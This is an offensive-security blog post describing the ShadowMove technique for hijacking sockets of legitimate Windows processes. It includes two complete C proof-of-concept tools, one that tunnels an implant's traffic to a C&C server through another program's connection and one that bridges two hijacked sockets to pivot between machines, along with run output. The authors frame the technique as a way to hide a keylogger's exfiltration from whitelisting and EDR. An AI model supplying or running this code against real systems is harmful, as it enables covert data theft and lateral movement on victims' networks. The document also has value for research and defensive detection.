Hijacking connections without injections: a ShadowMoving approach to the art of pivoting

Dear Fellowlship, today’s homily is a how-to on hiding your sinful connections inside connections made by legitimate programs using the ShadowMove technique. Please, take a seat and listen to the story.

Prayers at the foot of the Altar a.k.a. disclaimer

This time we are going to show two crappy PoCs using ShadowMove to hide connections made by our offensive software. The first one is fully reliable, but the second has its own issues that must be solved if you are going to use it in a real operation. We’ll discuss those issues at the end of the post. Being that said: enjoy the reading!

Edit 2021/02/03: Alex Ionescu contacted us via twitter to tells us that the “ShadowMove” technique was used previously by himself and @yarden_shafir. We provide here the link to their blog: Faxing Your Way to SYSTEM — Part Two

Edit 2021/02/03: One of the authors (@DissectMalware) contacted us via twitter to explain that their paper was accepted at USENIX 2020 in late 2019 and prior to the “FaxHell” blog

Edit 2021/02/03: Both researchers agreed that this was a classic collision doing research about the same topic. In our opinion everyone had good faith but social networks tends to twist this kind of situations.

A gentle introduction to ShadowMove

ShadowMove is a novel technique to hijack sockets from non-cooperative processes. It is described in the paper ShadowMove: A Stealthy Lateral Movement Strategy presented at USENIX ‘20. This technique takes advantage of the fact that AFD (Ancillary Function Driver) file handles are treated as socket handles by Windows APIs, so it is possible to duplicate them with WSADuplicateSocket().

The classic schema to hijack a socket from a non-cooperative process starts with a process injection in order to load our own logic to find and reuse the target socket. But with ShadowMove you do not have to inject anything: it only requires opening a process handle with PROCESS_DUP_HANDLE rights. No extra privileges, no noisy things.

With our shinny handle we can start duplicating all file handles until we find those with name \Device\Afd, then just use getpeername() to check if it belongs to a connection with our target.

Why is this technique interesting for a Red Team?

We are glad you asked it! Recently we remembered a situation we had to face in an operation. We had to deploy our keylogger in a computer but it was blocking any connection made by non-whitelisted binaries. To circumvent this problem we just injected our keylogger in a process allowed to connect to the outside. But with ShadowMove we can avoid any noise potentially generated by our injections (yes, we can use all the usual suspects to bypass EDRs, but this method is cleaner, by far).

Hiding a connection to the C&C inside a legitimate process

Imagine we have a keylogger and we want to use ShadowMove to send the keys intercepted to our C&C. Every time we have to send a batch of keys we need to run a legitimate program that tries to connect to our C&C, for example a mssql client, and when the connection is made we have to hijack it from our keylogger. Of course in an enterprise environment you would need to set the connection through the corporative proxy instead of directly to the C&C, but let’s forget about that for a moment.

The recipe to ShadowMove is (taken directly from the paper):

  1. Open the owner process with PROCESS_DUP_HANDLE
  2. Foreach handle with type 0x24 (file)
  3. Duplicate the handle
  4. Retrieve its names
  5. Skip if the name is not \device\afd
  6. Obtain remote IP and remote port number
  7. Skip if remote IP and port do not match the input parameters
  8. Call WSADuplicateSocketW to get a special WSAPROTOCOL_INFO structure
  9. Create a duplicate socket
  10. Use the socket

This, can be translated into the next PoC that we called “ShadowMove Gateway”. Basically, we are providing the process PID (remember: something legitimate, able to establish a connection with our C&C) and the IP of our C&C (remember: in a real scenario we have to deal with proxies).

// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) 

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"WS2_32")

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectNameInformation 1



typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
	ULONG SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
	);
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
	HANDLE SourceProcessHandle,
	HANDLE SourceHandle,
	HANDLE TargetProcessHandle,
	PHANDLE TargetHandle,
	ACCESS_MASK DesiredAccess,
	ULONG Attributes,
	ULONG Options
	);
typedef NTSTATUS(NTAPI* _NtQueryObject)(
	HANDLE ObjectHandle,
	ULONG ObjectInformationClass,
	PVOID ObjectInformation,
	ULONG ObjectInformationLength,
	PULONG ReturnLength
	);

typedef struct _SYSTEM_HANDLE
{
	ULONG ProcessId;
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG HandleCount;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;


typedef enum _POOL_TYPE
{
	NonPagedPool,
	PagedPool,
	NonPagedPoolMustSucceed,
	DontUseThisType,
	NonPagedPoolCacheAligned,
	PagedPoolCacheAligned,
	NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_NAME_INFORMATION
{
	UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName)
{
	return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}



SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
	HANDLE hProc;
	PSYSTEM_HANDLE_INFORMATION handleInfo;
	DWORD handleInfoSize = 0x10000;
	NTSTATUS status;
	DWORD returnLength;
	WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
	SOCKET targetSocket;

	// Open target process with PROCESS_DUP_HANDLE rights
	hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
	if (!hProc) {
		printf("[!] Error: could not open the process!\n");
		exit(-1);
	}
	printf("[+] Handle to process obtained!\n");

	// Find the functions
	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
	_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
	_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

	// Retrieve handles from the target process
	handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
	while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
		handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

	printf("[+] Found [%d] handlers in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);

	// Iterate 
	for (DWORD i = 0; i < handleInfo->HandleCount; i++) {

		// Check if it is the desired type of handle
		if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {

			SYSTEM_HANDLE handle = handleInfo->Handles[i];
			HANDLE dupHandle = NULL;
			POBJECT_NAME_INFORMATION objectNameInfo;

			// Dupplicate handle
			NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
			objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);

			// Get handle info
			NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

			// Narrow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)
			if (objectNameInfo->Name.Length == 22) {
				printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);

				// Check if it ends in "Afd"
				LPWSTR needle = (LPWSTR)malloc(8);
				memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
				if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {

					// We got a candidate
					printf("\t[*] \\Device\\Afd found at %d!\n", i);

					// Try to duplicate the socket
					status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
					if (status != 0) {
						printf("\t\t[X] Error duplicating socket!\n");
						free(needle);
						free(objectNameInfo);
						CloseHandle(dupHandle);
						continue;
					}

					// We got it?
					targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
					if (targetSocket != INVALID_SOCKET) {
						struct sockaddr_in sockaddr;
						DWORD len;
						len = sizeof(SOCKADDR_IN);

						// It this the socket?
						if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len) == 0) {
							if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
								printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));
								free(needle);
								free(objectNameInfo);
								return targetSocket;
							}
						}

					}

					free(needle);
				}

			}
			free(objectNameInfo);

		}
	}

	return 0;
}


int main(int argc, char** argv) {
	WORD wVersionRequested;
	WSADATA wsaData;
	DWORD dwProcessId;
	LPWSTR dstIP = NULL;
	SOCKET targetSocket;
	char buff[255] = { 0 };

	printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n");

	// smgateway.exe [PID] [IP dst]
	/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
	if (argc != 3) {
		printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]);
		exit(-1);
	}
	dwProcessId = strtoul(argv[1], NULL, 10);
	dstIP = (LPSTR)malloc(strlen(argv[2]) * (char) + 1);
	memcpy(dstIP, argv[2], strlen(dstIP));


	// Classic
	wVersionRequested = MAKEWORD(2, 2);
	WSAStartup(wVersionRequested, &wsaData);

	targetSocket = findTargetSocket(dwProcessId, dstIP);
	send(targetSocket, "Hello From the other side!\n", strlen("Hello From the other side!\n"), 0);
	recv(targetSocket, buff, 255, 0);
	printf("\n[*] Message from outside:\n\n %s\n", buff);
	return 0;
}

Here we just send the message “Hello from the other side!” from our infected machine to the “C&C” and the message “Stay hydrated!” comes from the C&C to the infected machine.

Communication using a hijacked socket.
Communication using a hijacked socket.

Building a bridge between machines a.k.a. pivoting in the shadows

We just saw how we can use ShadowMove to turn a program into a proxy for our local implant. But this same approach can be used to communicate two machines. Imagine a scenario where we have 3 machines: A <--> B <--> C. If we want to reach services exposed by C from A, we have to forward traffic in B (either with netsh or by dropping a proxy). We can achieve this with ShadowMove too.

We only need to execute two legitimate programs in B: one that connects to an exposed port in A and another to the target service in C. Then we hijack both sockets and bridge them.

Note: imagine we want to execute ldapsearch from A and the Domain Controller is at C. In A we need a script that exposes two ports, one to receive the connection from the ldapsearch (A’) and another to receive the connection from B (A’’). So everything received in A’ is sent to A’’ (that is connected through B), then our bridge forwards everything to the connection between B and C.

The code executed in B is almost the same that we used before:

// PoC of ShadowMove Pivot by Juan Manuel Fernández (@TheXC3LL) 

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"WS2_32")

// Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define SystemHandleInformation 16
#define ObjectNameInformation 1
#define MSG_END_OF_TRANSMISSION "\x31\x41\x59\x26\x53\x58\x97\x93\x23\x84"
#define BUFSIZE 65536

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
	ULONG SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
	);
typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
	HANDLE SourceProcessHandle,
	HANDLE SourceHandle,
	HANDLE TargetProcessHandle,
	PHANDLE TargetHandle,
	ACCESS_MASK DesiredAccess,
	ULONG Attributes,
	ULONG Options
	);
typedef NTSTATUS(NTAPI* _NtQueryObject)(
	HANDLE ObjectHandle,
	ULONG ObjectInformationClass,
	PVOID ObjectInformation,
	ULONG ObjectInformationLength,
	PULONG ReturnLength
	);

typedef struct _SYSTEM_HANDLE
{
	ULONG ProcessId;
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG HandleCount;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;


typedef enum _POOL_TYPE
{
	NonPagedPool,
	PagedPool,
	NonPagedPoolMustSucceed,
	DontUseThisType,
	NonPagedPoolCacheAligned,
	PagedPoolCacheAligned,
	NonPagedPoolCacheAlignedMustS
} POOL_TYPE, * PPOOL_TYPE;

typedef struct _OBJECT_NAME_INFORMATION
{
	UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName)
{
	return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
}



SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
	HANDLE hProc;
	PSYSTEM_HANDLE_INFORMATION handleInfo;
	DWORD handleInfoSize = 0x10000;
	NTSTATUS status;
	DWORD returnLength;
	WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 };
	SOCKET targetSocket;

	// Open target process with PROCESS_DUP_HANDLE rights
	hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
	if (!hProc) {
		printf("[!] Error: could not open the process!\n");
		exit(-1);
	}
	printf("[+] Handle to process obtained!\n");

	// Find the functions
	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
	_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
	_NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject");

	// Retrieve handles from the target process
	handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
	while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
		handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

	printf("[+] Found [%d] handlers in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId);

	// Iterate 
	for (DWORD i = 0; i < handleInfo->HandleCount; i++) {

		// Check if it is the desired type of handle
		if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {

			SYSTEM_HANDLE handle = handleInfo->Handles[i];
			HANDLE dupHandle = NULL;
			POBJECT_NAME_INFORMATION objectNameInfo;

			// Dupplicate handle
			NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS);
			objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000);

			// Get handle info
			NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength);

			// Narrow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2)
			if (objectNameInfo->Name.Length == 22) {
				printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount);

				// Check if it ends in "Afd"
				LPWSTR needle = (LPWSTR)malloc(8);
				memcpy(needle, objectNameInfo->Name.Buffer + 8, 6);
				if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') {

					// We got a candidate
					printf("\t[*] \\Device\\Afd found at %d!\n", i);

					// Try to duplicate the socket
					status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo);
					if (status != 0) {
						printf("\t\t[X] Error duplicating socket!\n");
						free(needle);
						free(objectNameInfo);
						CloseHandle(dupHandle);
						continue;
					}

					// We got it?
					targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED);
					if (targetSocket != INVALID_SOCKET) {
						struct sockaddr_in sockaddr;
						DWORD len;
						len = sizeof(SOCKADDR_IN);

						// It this the socket?
						if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, &len) == 0) {
							if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
								printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr));
								free(needle);
								free(objectNameInfo);
								return targetSocket;
							}
						}

					}

					free(needle);
				}

			}
			free(objectNameInfo);

		}
	}

	return 0;
}

// Reused from MSSQLPROXY https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp
void bridge(SOCKET fd0, SOCKET fd1)
{
	int maxfd, ret;
	fd_set rd_set;
	size_t nread;
	char buffer_r[BUFSIZE];
	maxfd = (fd0 > fd1) ? fd0 : fd1;
	while (1) {
		FD_ZERO(&rd_set);
		FD_SET(fd0, &rd_set);
		FD_SET(fd1, &rd_set);
		ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL);
		if (ret < 0 && errno == EINTR) {
			continue;
		}
		if (FD_ISSET(fd0, &rd_set)) {
			nread = recv(fd0, buffer_r, BUFSIZE, 0);
			if (nread <= 0)
				break;
			send(fd1, buffer_r, nread, 0);
		}
		if (FD_ISSET(fd1, &rd_set)) {
			nread = recv(fd1, buffer_r, BUFSIZE, 0);

			if (nread <= 0)
				break;

			// End of transmission
			if (nread >= strlen(MSG_END_OF_TRANSMISSION) && strstr(buffer_r, MSG_END_OF_TRANSMISSION) != NULL) {
				send(fd0, buffer_r, nread - strlen(MSG_END_OF_TRANSMISSION), 0);
				break;
			}

			send(fd0, buffer_r, nread, 0);
		}
	}
}


int main(int argc, char** argv) {
	WORD wVersionRequested;
	WSADATA wsaData;
	DWORD dwProcessIdSrc;
	WORD dwProcessIdDst;
	LPSTR dstIP = NULL;
	LPSTR srcIP = NULL;
	SOCKET srcSocket;
	SOCKET dstSocket;

	printf("\t\t\t-=[ ShadowMove Pivot PoC ]=-\n\n");

	// smpivot.exe [PID src] [PID dst] [IP dst] [IP src]
	/* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */
	if (argc != 5) {
		printf("[!] Error: syntax is %s [PID src] [PID dst] [IP src] [IP dst]\n", argv[0]);
		exit(-1);
	}
	dwProcessIdSrc = strtoul(argv[1], NULL, 10);
	dwProcessIdDst = strtoul(argv[2], NULL, 10);

	dstIP = (LPSTR)malloc(strlen(argv[4]) * (char) + 1);
	memcpy(dstIP, argv[3], strlen(dstIP));
	srcIP = (LPSTR)malloc(strlen(argv[3]) * (char) + 1);
	memcpy(srcIP, argv[4], strlen(srcIP));

	// Classic
	wVersionRequested = MAKEWORD(2, 2);
	WSAStartup(wVersionRequested, &wsaData);

	srcSocket = findTargetSocket(dwProcessIdSrc, srcIP);

	dstSocket = findTargetSocket(dwProcessIdDst, dstIP);
	if (srcSocket == 0) {
		printf("\n[!] Error: could not attach to source socket");
		return -1;
	}
	printf("\n[<] Attached to SOURCE\n");
	if (dstSocket == 0) {
		printf("\n[!] Error: could not attach to sink socket");
		return -1;
	}
	printf("[>] Attached to SINK\n");
	printf("============================\n[Link up]\n============================\n");
	bridge(srcSocket, dstSocket);
	printf("============================\n[Link down]\n============================\n");
	return 0;
}

We can test it connecting two listening netcats: one in 10.0.2.2 and other in 10.0.2.15.

-=[ ShadowMove Pivot PoC ]=-

[+] Handle to process obtained!
[+] Found [66919] handlers in PID 5364
============================
[-] Testing 3779 of 66919
[-] Testing 10254 of 66919
        [*] \Device\Afd found at 10254!
        [*] Duplicated socket (10.0.2.15)
[+] Handle to process obtained!
[+] Found [67202] handlers in PID 7596
============================
[-] Testing 3767 of 67202
[-] Testing 10240 of 67202
        [*] \Device\Afd found at 10240!
        [*] Duplicated socket (10.0.2.2)

[<] Attached to SOURCE
[>] Attached to SINK
============================
[Link up]
============================

In one of our ends:

psyconauta@insulanova:~/Research/shadowmove|⇒  nc -lvp 8081
Listening on [0.0.0.0] (family 0, port 8081)
Connection from localhost 59596 received!
Hello from 10.0.2.15!
This is me from 10.0.2.2!

Real life problems and solutions

Here we sumarize the problems:

Racing with the devil. We are playing with a duplicated socket, so the original program keeps doing reads. This means that some bytes can be loss if they are readed by the program instead of us, but this can be solved easy if we implemented a custom protocol that takes care of missing packets.

Timeouts. If the connection is closed by timeout before we hijack it we can not reuse the socket.

Old handles. Depending on the program in use, it is likely to find old handles that meet our criteria (getpeername returns the target IP but the handle can not be used). This could happen if the first connection attempt was unsuccesful. To solve this just improve the detection method ;)

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

updated_at 16-01-2021